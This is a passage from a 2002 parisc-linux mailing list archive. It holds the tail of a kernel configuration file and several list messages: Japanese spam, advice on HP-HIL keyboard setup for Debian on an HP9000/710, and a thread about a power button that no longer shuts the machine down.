CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m
CONFIG_PPPOE=m
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# PCMCIA network device support
#
# CONFIG_NET_PCMCIA is not set

#
# Input core support
#
CONFIG_INPUT=m
CONFIG_INPUT_KEYBDEV=m
CONFIG_INPUT_MOUSEDEV=m
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1280
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=1024
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
CONFIG_SERIAL_GSC=y
# CONFIG_SERIAL_EXTENDED is not set
CONFIG_SERIAL_NONSTANDARD=y
# CONFIG_COMPUTONE is not set
# CONFIG_ROCKETPORT is not set
# CONFIG_CYCLADES is not set
# CONFIG_DIGIEPCA is not set
# CONFIG_DIGI is not set
# CONFIG_ESPSERIAL is not set
# CONFIG_MOXA_INTELLIO is not set
# CONFIG_MOXA_SMARTIO is not set
# CONFIG_ISI is not set
# CONFIG_SYNCLINK is not set
CONFIG_N_HDLC=m
# CONFIG_RISCOM8 is not set
# CONFIG_SPECIALIX is not set
# CONFIG_SX is not set
# CONFIG_RIO is not set
# CONFIG_STALDRV is not set
# CONFIG_PDC_CONSOLE is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256
CONFIG_PRINTER=m
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
CONFIG_MOUSE=y
CONFIG_PSMOUSE=y
# CONFIG_82C710_MOUSE is not set
# CONFIG_PC110_PAD is not set

#
# Joysticks
#
# CONFIG_INPUT_GAMEPORT is not set
# CONFIG_INPUT_NS558 is not set
# CONFIG_INPUT_LIGHTNING is not set
# CONFIG_INPUT_PCIGAME is not set
# CONFIG_INPUT_CS461X is not set
# CONFIG_INPUT_EMU10K1 is not set
CONFIG_INPUT_SERIO=y
# CONFIG_INPUT_SERPORT is not set

#
# Joysticks
#
# CONFIG_INPUT_ANALOG is not set
# CONFIG_INPUT_A3D is not set
# CONFIG_INPUT_ADI is not set
# CONFIG_INPUT_COBRA is not set
# CONFIG_INPUT_GF2K is not set
# CONFIG_INPUT_GRIP is not set
# CONFIG_INPUT_INTERACT is not set
# CONFIG_INPUT_TMDC is not set
# CONFIG_INPUT_SIDEWINDER is not set
# CONFIG_INPUT_IFORCE_USB is not set
# CONFIG_INPUT_IFORCE_232 is not set
# CONFIG_INPUT_WARRIOR is not set
# CONFIG_INPUT_MAGELLAN is not set
# CONFIG_INPUT_SPACEORB is not set
# CONFIG_INPUT_SPACEBALL is not set
# CONFIG_INPUT_STINGER is not set
# CONFIG_INPUT_DB9 is not set
# CONFIG_INPUT_GAMECON is not set
# CONFIG_INPUT_TURBOGRAFX is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# PCMCIA character devices
#
# CONFIG_PCMCIA_SERIAL_CS is not set

#
# HIL support
#
CONFIG_HIL=y
CONFIG_HIL_KBD_BASIC=y

#
# Input support needed for full HIL support
#

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# File systems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_REISERFS_FS is not set
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
CONFIG_EXT3_FS=y
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_JFFS2_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_TMPFS is not set
# CONFIG_RAMFS is not set
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
# CONFIG_ZISOFS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
CONFIG_DEVPTS_FS=y
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
# CONFIG_INTERMEZZO_FS is not set
# CONFIG_NFS_FS is not set
# CONFIG_NFS_V3 is not set
# CONFIG_ROOT_NFS is not set
# CONFIG_NFSD is not set
# CONFIG_NFSD_V3 is not set
# CONFIG_SUNRPC is not set
# CONFIG_LOCKD is not set
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set
# CONFIG_ZISOFS_FS is not set
# CONFIG_ZLIB_FS_INFLATE is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_SMB_NLS is not set
CONFIG_NLS=y

#
# Native Language Support
#
CONFIG_NLS_DEFAULT="iso8859-1"
# CONFIG_NLS_CODEPAGE_437 is not set
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
# CONFIG_NLS_CODEPAGE_850 is not set
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
# CONFIG_NLS_ISO8859_1 is not set
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
# CONFIG_NLS_ISO8859_15 is not set
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
# CONFIG_NLS_UTF8 is not set

#
# Console drivers
#

#
# Frame-buffer support
#
CONFIG_FB=y
CONFIG_DUMMY_CONSOLE=y
# CONFIG_FB_RIVA is not set
# CONFIG_FB_CLGEN is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
CONFIG_FB_STI=y
# CONFIG_FB_MATROX is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FBCON_ADVANCED is not set
CONFIG_FBCON_CFB8=y
CONFIG_FBCON_CFB32=y
CONFIG_FBCON_STI=y
# CONFIG_FBCON_FONTWIDTH8_ONLY is not set
# CONFIG_FBCON_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FBCON=y
CONFIG_FBCON_FONT=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_FONT_6x11=y
CONFIG_FONT_SUN12x22=y

#
# Sound
#
CONFIG_SOUND=m
# CONFIG_SOUND_BT878 is not set
# CONFIG_SOUND_CMPCI is not set
# CONFIG_SOUND_EMU10K1 is not set
# CONFIG_MIDI_EMU10K1 is not set
# CONFIG_SOUND_FUSION is not set
# CONFIG_SOUND_CS4281 is not set
# CONFIG_SOUND_ES1370 is not set
# CONFIG_SOUND_ES1371 is not set
# CONFIG_SOUND_ESSSOLO1 is not set
# CONFIG_SOUND_MAESTRO is not set
# CONFIG_SOUND_MAESTRO3 is not set
# CONFIG_SOUND_ICH is not set
CONFIG_SOUND_HARMONY=m
# CONFIG_SOUND_RME96XX is not set
# CONFIG_SOUND_SONICVIBES is not set
# CONFIG_SOUND_TRIDENT is not set
# CONFIG_SOUND_MSNDCLAS is not set
# CONFIG_SOUND_MSNDPIN is not set
# CONFIG_SOUND_VIA82CXXX is not set
# CONFIG_MIDI_VIA82CXXX is not set
# CONFIG_SOUND_OSS is not set
# CONFIG_SOUND_TVMIXER is not set

#
# USB support
#
# CONFIG_USB is not set

#
# USB Controllers
#
# CONFIG_USB_UHCI is not set
# CONFIG_USB_UHCI_ALT is not set
# CONFIG_USB_OHCI is not set

#
# USB Device Class drivers
#
# CONFIG_USB_AUDIO is not set
# CONFIG_USB_BLUETOOTH is not set
# CONFIG_USB_STORAGE is not set
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_DPCM is not set
# CONFIG_USB_STORAGE_HP8200e is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set

#
# USB Human Interface Devices (HID)
#
# CONFIG_USB_HID is not set
# CONFIG_USB_HIDDEV is not set
# CONFIG_USB_KBD is not set
# CONFIG_USB_MOUSE is not set
# CONFIG_USB_WACOM is not set

#
# USB Imaging devices
#
# CONFIG_USB_DC2XX is not set
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_SCANNER is not set
# CONFIG_USB_MICROTEK is not set
# CONFIG_USB_HPUSBSCSI is not set

#
# USB Multimedia devices
#

#
#   Video4Linux support is needed for USB Multimedia device support
#

#
# USB Network adaptors
#
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_CATC is not set
# CONFIG_USB_CDCETHER is not set
# CONFIG_USB_USBNET is not set

#
# USB port drivers
#
# CONFIG_USB_USS720 is not set

#
# USB Serial Converter support
#
# CONFIG_USB_SERIAL is not set
# CONFIG_USB_SERIAL_GENERIC is not set
# CONFIG_USB_SERIAL_BELKIN is not set
# CONFIG_USB_SERIAL_WHITEHEAT is not set
# CONFIG_USB_SERIAL_DIGI_ACCELEPORT is not set
# CONFIG_USB_SERIAL_EMPEG is not set
# CONFIG_USB_SERIAL_FTDI_SIO is not set
# CONFIG_USB_SERIAL_VISOR is not set
# CONFIG_USB_SERIAL_IPAQ is not set
# CONFIG_USB_SERIAL_IR is not set
# CONFIG_USB_SERIAL_EDGEPORT is not set
# CONFIG_USB_SERIAL_KEYSPAN_PDA is not set
# CONFIG_USB_SERIAL_KEYSPAN is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XA is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XB is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA18X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19W is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA49W is not set
# CONFIG_USB_SERIAL_MCT_U232 is not set
# CONFIG_USB_SERIAL_KLSI is not set
# CONFIG_USB_SERIAL_PL2303 is not set
# CONFIG_USB_SERIAL_CYBERJACK is not set
# CONFIG_USB_SERIAL_XIRCOM is not set
# CONFIG_USB_SERIAL_OMNINET is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_RIO500 is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y

--NGIwU0kFl1Z1A3An--



From - Thu Nov 08 21:23:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-2022-jp?B?GyRCRTlBdU1RSUobKEI=?= <sales@db.bbmail.ne.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?iso-2022-jp?B?WxskQiEqOS05cCEqJE4kXCRqNHohJjRHSEQbKEI=?=
 =?iso-2022-jp?B?GyRCISYlKyU/JW0lMCU5JT8lcyVJISY/YiRsS2shREU5QXUbKEI=?=
 =?iso-2022-jp?B?GyRCTVFJShsoQlNIT1AbJEIlKiE8JVclcyEqGyhCXQ==?=
 1674580-1-120
Date: Wed, 03 Jul 2002 20:39:22 +0900
Lines: 23
Approved: news@gmane.org
Message-ID: <14bb63bd971a.44d7@db.bbmail.ne.jp>
Reply-To: sales@db.bbmail.ne.jp
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-2022-jp
X-Trace: ger.gmane.org 1416621460 9899 80.91.229.3 (22 Nov 2014 01:57:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  3 10:03:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp2 (203.141.154.201.user.ca.il24.net [203.141.154.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id EAA664834
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Jul 2002 10:03:21 -0600 (MDT)
Original-Received: from smtp2 [127.0.0.1] by smtp2
  (SMTPD32-6.06) id AEBE5037E; Wed, 03 Jul 2002 20:39:22 +0900
X-Mailer: InternetPost for Active Platform 1.0.70.10007 (Standard Edition)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15303

$B$*K;$7$$$H$3$m<:NiCW$7$^$9!#(B
$B:#8e%a!<%kITMW$JJ}$O!"$*<j?t$G$9$,2<5-<+F0%a!<%k:o=|MQ(B
$B%"%I%l%9$r%/%j%C%/$9$k$+!"$=$N$^$^JV?.$/$@$5$l$P:#8e%a!<%kCW$7$^$;$s!#(B

$B<+F0%a!<%k:o=|MQ%"%I%l%9(B
http://db.bbmail.ne.jp/scripts/member3/mail_deny.asp?mid=1674580-1-120&mail=parisc-linux@lists.parisc-linux.org

$BJ@<R$O$3$NEY!"$N$\$j4z!"4GHD!"?b$lKk!"%+%?%m%0%9%?%s%I!"%a%K%e!<%9%?%s%I(B
$B$J$I$N@kEA!&9-9pMQIJ!"E9J^!";vL3=jMQIJEy$rLVMe$7$?%]!<%?%k%5%$%H(B
$B!VE9AuMQIJ%[!<%`%Z!<%8!W$r%*!<%W%sCW$7$^$7$?!#(B
$B$*E9$KI,MW$J%b%N$O$J$s$G$b$=$m$($F$*$j$^$9!*(B


$B%[!<%`%Z!<%8$O$3$3$r%/%j%C%/$7$F$/$@$5$$!#(B
       http://www.kilamek.co.jp/new

$B!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=(B
$BM-8B2q<R%-%i%a%C%/(B $BE9AuMQIJ1D6HIt!!C4Ev!'I~It!&KLLn(B
$B")(B162-0067$B!!El5~ET?7=I6hIY5WD.(B16-8$B!!(B
TEL$B!'(B 03-3350-8215$B!!(BFAX$B!'(B03-3341-6076
tensou@kilamek.co.jp



From - Thu Nov 08 21:23:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Robert Boehm" <robert@olsztyn.ken.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000/710
Date: Wed, 3 Jul 2002 19:18:17 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <002201c222b5$9fcf8ec0$8501a8c0@pl>
References: <02070315581300.00805@www>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621460 9905 80.91.229.3 (22 Nov 2014 01:57:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:40 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  3 10:11:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from olsztyn.ken.pl (unknown [212.244.122.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id 521074835
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Jul 2002 10:11:07 -0600 (MDT)
Original-Received: from h1 (pe113.olsztyn.sdi.tpnet.pl [213.76.233.113])
	by olsztyn.ken.pl (8.11.6/8.9.3) with SMTP id g63GIfT19770
	for <parisc-linux@lists.parisc-linux.org>; Wed, 3 Jul 2002 18:18:41 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15304

----- Original Message -----
From: "ste" <stemelchior@inwind.it>
To: <debian-hppa@lists.debian.org>; <parisc-linux@lists.parisc-linux.org>
Sent: Wednesday, July 03, 2002 3:58 PM
Subject: [parisc-linux] HP9000/710


> Hi guys,
> I have got an old HP workstation (with DDS, CDROM drive) and when I tried
to
> install Debian-HPPA 0.9.3 on it makes impossible the installation at the
> point when you have to configure the keyboard. I mean that ( I got and old
> HP-HIL keyboard, you know the one with the RJ45-like connector) I weel can
> see on monitor the choises but I am able only to move the cursor upward or
> downward. Then it hangs!!! my question is: how to procede in this step of
> installation?
    Don't choose any keyboard mapping. Go to the next step.
    It works with default kernel mapping.
    I have 710 too, and ISO 0.9.3 works fine, but without HIL and serial
mouse.
    With the new  kernel pa-46 HIL mouse works but serial still not.
    In the new kernel the keyboard mapping is bad but HIL mouse plays fine.



                                                                    Robert
Boehm






From - Thu Nov 08 21:23:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Wed, 03 Jul 2002 10:46:30 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <20020703164631.F0CE2483A@dsl2.external.hp.com>
References: <20020702183558.GO25586@charite.de> <B1225F09-8DEC-11D6-A95C-0030656F07A2@esiee.fr> <20020702185708.GP25586@charite.de> <20020702190606.GA3678@systemhalted> <20020702190842.GR25586@charite.de> <20020702192147.GC3678@systemhalted> <20020702193116.GU25586@charite.de> <20020703052415.GB32490@charite.de> <20020703121306.GA8464@systemhalted>  <20020703121737.GS15228@charite.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621460 9907 80.91.229.3 (22 Nov 2014 01:57:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:40 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  3 10:46:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id F0CE2483A; Wed,  3 Jul 2002 10:46:30 -0600 (MDT)
In-Reply-To: Message from Ralf Hildebrandt <Ralf.Hildebrandt@charite.de> 
   of "Wed, 03 Jul 2002 14:17:38 +0200." <20020703121737.GS15228@charite.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15305

Ralf Hildebrandt wrote:
> I rebooted this morning after I recompiled a kernel. I added
> CONFIG_IOMMU_CCIO=y

That's not needed for 712/715/B-class/et al.

grant



From - Thu Nov 08 21:23:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Wed, 3 Jul 2002 18:52:34 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20020703165234.GG13244@charite.de>
References: <B1225F09-8DEC-11D6-A95C-0030656F07A2@esiee.fr> <20020702185708.GP25586@charite.de> <20020702190606.GA3678@systemhalted> <20020702190842.GR25586@charite.de> <20020702192147.GC3678@systemhalted> <20020702193116.GU25586@charite.de> <20020703052415.GB32490@charite.de> <20020703121306.GA8464@systemhalted> <20020703121737.GS15228@charite.de> <20020703164631.F0CE2483A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621461 9909 80.91.229.3 (22 Nov 2014 01:57:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  3 10:52:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02589483B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Jul 2002 10:52:35 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 8E13715C00C; Wed,  3 Jul 2002 18:52:34 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 7B58B633B4; Wed,  3 Jul 2002 18:52:34 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020703164631.F0CE2483A@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15306

Am 03.07.2002 um 10:46:30 -0600 schrieb Grant Grundler folgendes:
> Ralf Hildebrandt wrote:
> > I rebooted this morning after I recompiled a kernel. I added
> > CONFIG_IOMMU_CCIO=y
> 
> That's not needed for 712/715/B-class/et al.

Alas, I came back home today, pressed the button. And the machine
still ran.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
"Memory is like gasoline. You use it up when you are running. Of course you
get it all back when you reboot..." -- Actual explanation obtained from the
Micro$oft help desk.  




From - Thu Nov 08 21:23:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <dlorin@univ-rennes1.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: HP9000/710
Date: Wed, 03 Jul 2002 19:37:48 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <200207031737.TAA09556__22780.9273325422$1416621461$gmane$org@mailimailo.univ-rennes1.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621461 9912 80.91.229.3 (22 Nov 2014 01:57:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
